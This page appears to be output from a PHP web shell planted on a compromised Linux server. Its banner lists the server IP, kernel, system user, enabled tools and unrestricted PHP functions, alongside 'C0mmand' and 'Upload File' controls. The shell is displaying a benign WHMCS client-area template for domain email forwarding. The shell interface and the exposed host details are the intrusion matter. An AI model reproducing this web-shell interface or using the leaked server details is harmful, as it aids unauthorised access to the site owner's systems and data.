Server IP : 213.176.29.180  /  Your IP : 18.220.255.227
Web Server : Apache
System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User : webtaragh ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/webtaragh/public_html/whmcs/templates/twenty-one/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/webtaragh/public_html/whmcs/templates/twenty-one/clientareadomainemailforwarding.tpl
<div class="card">
    <div class="card-body">
        <h3 class="card-title">{lang key='domainemailforwarding'}</h3>

        {include file="$template/includes/alert.tpl" type="info" msg="{lang key='domainemailforwardingdesc'}"}

        {if $error}
            {include file="$template/includes/alert.tpl" type="error" msg=$error}
        {/if}

        {if $external}
            <div class="text-center px-4">
                {$code}
            </div>
        {else}

            <form method="post" action="{$smarty.server.PHP_SELF}?action=domainemailforwarding">
                <input type="hidden" name="sub" value="save" />
                <input type="hidden" name="domainid" value="{$domainid}" />

                <table class="table table-striped">
                    <thead>
                        <tr>
                            <th>{lang key='domainemailforwardingprefix'}</th>
                            <th></th>
                            <th>{lang key='domainemailforwardingforwardto'}</th>
                        </tr>
                    </thead>
                    <tbody>
                        {foreach $emailforwarders as $num => $emailforwarder}
                        <tr>
                            <td><input type="text" name="emailforwarderprefix[{$num}]" value="{$emailforwarder.prefix}" class="form-control" /></td>
                            <td class="text-center">@{$domain} => </td>
                            <td><input type="text" name="emailforwarderforwardto[{$num}]" value="{$emailforwarder.forwardto}" class="form-control" /></td>
                        </tr>
                        {/foreach}
                        <tr>
                            <td><input type="text" name="emailforwarderprefixnew" class="form-control" /></td>
                            <td class="text-center">@{$domain} => </td>
                            <td><input type="text" name="emailforwarderforwardtonew" class="form-control" /></td>
                        </tr>
                    </tbody>
                </table>

                <div class="text-center">
                    <button type="submit" class="btn btn-primary">
                        {lang key='clientareasavechanges'}
                    </button>
                    <button type="reset" class="btn btn-default">
                        {lang key='clientareacancel'}
                    </button>
                </div>

            </form>

        {/if}

    </div>
</div>